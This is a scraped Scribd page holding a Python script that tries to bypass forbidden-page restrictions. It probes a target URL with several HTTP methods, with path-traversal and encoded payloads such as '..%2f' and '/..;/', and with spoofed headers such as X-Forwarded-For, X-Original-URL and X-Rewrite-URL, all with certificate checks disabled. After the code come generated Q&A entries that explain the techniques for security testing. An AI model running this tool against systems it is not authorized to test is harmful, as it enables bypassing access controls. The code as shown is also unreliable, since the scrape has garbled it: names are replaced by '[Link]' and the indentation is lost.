0% found this document useful (0 votes)
18 views5 pages

URL Testing with Python Requests

Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
18 views5 pages

URL Testing with Python Requests

Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

#!

/bin/python
import requests
import sys
import colorama
import time
from colorama import Fore, Style
import urllib3
from [Link] import InsecureRequestWarning

[Link].urllib3.disable_warnings(InsecureRequestWarning)
domain = [Link][1]
path = [Link][2]
url = domain + path

print(
[Link]
+ [Link]
+ """
___ _______ ______ ______ _______ _______ _______ _______
_______ _______
/ ) ( __ )/ ___ \ ( ___ \ |\ /|( ____ )( ___ )( ____ \( ____ \
( ____ \( ____ )
/ /) | | ( ) |\/ \ \ | ( ) )( \ / )| ( )|| ( ) || ( \/|
( \/| ( \/| ( )|
/ (_) (_ | | / | ___) / | (__/ / \ (_) / | (____)|| (___) || (_____ | (_____
| (__ | (____)|
(____ _)| (/ /) | (___ ( | __ ( \ / | _____)| ___ |(_____ )
(_____ )| __) | __)
) ( | / | | ) \ | ( \ \ ) ( | ( | ( ) | ) | )
|| ( | (\ (
| | | (__) |/\___/ / | )___) ) | | | ) | ) ( |/\____) |/\____)
|| (____/\| ) \ \__
(_) (_______)\______/ |/ \___/ \_/ |/ |/ \|\_______)\_______)
(_______/|/ \__/

By
wh1t3r0se

"""
)

print([Link] + [Link] + "Using different methods " + "\n")


res1 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using GET :"
+ "\t"
+ [Link]
+ str(res1.status_code)
)
res2 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using POST :"
+ "\t"
+ [Link]
+ str(res2.status_code)
)
res3 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using HEAD :"
+ "\t"
+ [Link]
+ str(res3.status_code)
)
res4 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using PUT : "
+ "\t"
+ [Link]
+ str(res4.status_code)
)
res5 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using DELETE :"
+ "\t"
+ [Link]
+ str(res5.status_code)
)
res6 = [Link](url, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ "using PATCH :"
+ "\t"
+ [Link]
+ str(res6.status_code)
)
print([Link] + [Link] + "Using payloads at end of URL " + "\n")
payloads = [
"/",
"/*",
"/%2f/",
"/./",
"./.",
"/*/",
"?",
"??",
"&",
"#",
"%",
"%20",
"%09",
"/..;/",
"../",
"..%2f",
"..;/",
".././",
"..%00/",
"..%0d",
"..%5c",
"..%ff/",
"%2e%2e%2f",
".%2e/",
"%3f",
"%26",
"%23",
".json",
]
for payload in payloads:
try:
url2 = url + payload
res7 = [Link](url2, allow_redirects=False, verify=False, timeout=5)
print(
[Link]
+ [Link]
+ url2
+ " : "
+ [Link]
+ str(res7.status_code)
)
except:
pass
print([Link] + [Link] + "Using different headers " + "\n")
res8 = [Link](
url, headers={"X-Forwarded-For": "[Link]"}, allow_redirects=False,
verify=False
)
print(
[Link]
+ [Link]
+ "X-Forwarded-For"
+ " : "
+ [Link]
+ str(res8.status_code)
)

res9 = [Link](
url, headers={"X-Forwarded-Host": "[Link]"}, allow_redirects=False,
verify=False
)
print(
[Link]
+ [Link]
+ "X-Forwarded-Host"
+ " : "
+ [Link]
+ str(res9.status_code)
)

res10 = [Link](
url, headers={"X-Host": "[Link]"}, allow_redirects=False, verify=False
)
print(
[Link] + [Link] + "X-Host" + " : " + [Link] +
str(res10.status_code)
)
res11 = [Link](
url,
headers={"X-Custom-IP-Authorization": "[Link]"},
allow_redirects=False,
verify=False,
)
print(
[Link]
+ [Link]
+ "X-Custom-IP-Authorization"
+ " : "
+ [Link]
+ str(res11.status_code)
)

res12 = [Link](
url, headers={"X-Original-URL": "[Link]"}, allow_redirects=False,
verify=False
)
print(
[Link]
+ [Link]
+ "X-Original-URL"
+ " : "
+ [Link]
+ str(res12.status_code)
)

res13 = [Link](
url, headers={"X-Originating-IP": "[Link]"}, allow_redirects=False,
verify=False
)
print(
[Link]
+ [Link]
+ "X-Originating-IP"
+ " : "
+ [Link]
+ str(res13.status_code)
)

res14 = [Link](
url, headers={"X-Remote-IP": "[Link]"}, allow_redirects=False, verify=False
)
print(
[Link]
+ [Link]
+ "X-Remote-IP"
+ " : "
+ [Link]
+ str(res14.status_code)
)

url3 = domain + "/dev/null"


url4 = domain + path
res15 = [Link](
url3, headers={"X-Rewrite-URL": url4}, allow_redirects=False, verify=False
)
print(
[Link]
+ [Link]
+ "X-Rewrite-URL"
+ " : "
+ [Link]
+ str(res15.status_code)
)

print(
[Link]
+ [Link]
+ "finished automating . begin manual check . good luck "
+ "\n"
)

Common questions

Powered by AI

The impact of automation in security testing includes improved efficiency, consistency, and coverage of tests across different scenarios. As indicated by the script's output, automation helps systematically test various request methods, payloads, and headers to identify vulnerabilities rapidly . It reduces manual effort and enables repeated execution under different conditions, essential for comprehensive security assessments.

Various payloads serve the purpose of testing a URL's resiliency by providing inputs that are likely to uncover handling vulnerabilities, such as improper sanitization, encoding issues, or unexpected behavior. The payloads, including directory traversal strings like '..%2f', try to bypass security controls and access restricted resources or manipulate application behavior . These tests aim to assert whether the application's input handling can meet expected security standards.

Using different HTTP methods in a penetration testing script is significant because it allows testers to understand how a server responds to various types of requests, potentially revealing vulnerabilities related to improper handling of these requests . For example, some resources may allow a GET request but not properly handle PUT or DELETE requests, leading to unauthorized modifications or deletions.

Using insecure request configurations, such as ignoring SSL certificate validation, in a web application security test can introduce risks such as providing a false sense of security or missing how the application would respond to a secure configuration. These insecure setups may hide issues that would only be apparent in a properly secured environment . However, in a testing context, this might be acceptable for certain checks where strict SSL can hinder testing flexibility.

Disabling warnings like 'InsecureRequestWarning' in security scripts is important for achieving cleaner output and ensuring the script functions as expected without interruption. These warnings often relate to using SSL without verification, which, while not secure for normal operation, is sometimes necessary in controlled testing environments to maintain consistent testing conditions .

Modifying header fields like 'X-Host' can affect a web application's behavior by testing its reliance on headers for security-related decisions. Applications that do not properly validate these headers might treat any value in 'X-Host' as legitimate, potentially leading to unauthorized access or misrouting of requests . This is particularly critical in environments relying on headers for determining the original request source.

After finishing automated checks, a tester should begin manual checks to address any nuances and exceptions that automation might miss. Manual checks allow for deeper inspection of context-specific issues and logical vulnerabilities that require human intuition and reasoning. Automated tests are efficient for finding common vulnerabilities, but manual testing can evaluate the unique logic and data handling practices of the application .

Payloads appended to URLs can help discover potential vulnerabilities by testing how a web application handles unexpected input, such as special characters or path traversal sequences. These tests can reveal flaws like input validation issues or path traversal vulnerabilities, where attackers can access unauthorized directories . Special characters like '../' or encoded characters might bypass security filters and expose sensitive data or functions.

Custom headers like 'X-Forwarded-For' and 'X-Custom-IP-Authorization' are used in web security tests to manipulate how the server interprets the origin of the request. These headers can test if a server trusts these headers for security decisions such as IP-based access control lists . If improperly configured, such headers might allow attackers to spoof their IP address and gain unauthorized access.

Appending different characters and encoding types to URL paths can assist in security testing by challenging how the web application processes URL inputs. By using characters such as '?', '#' or encodings like '%20', testers can verify if the application properly sanitizes and handles these inputs . This can uncover vulnerabilities like directory traversal, query parameter manipulation, or application crashes from unexpected URL parsing.

You might also like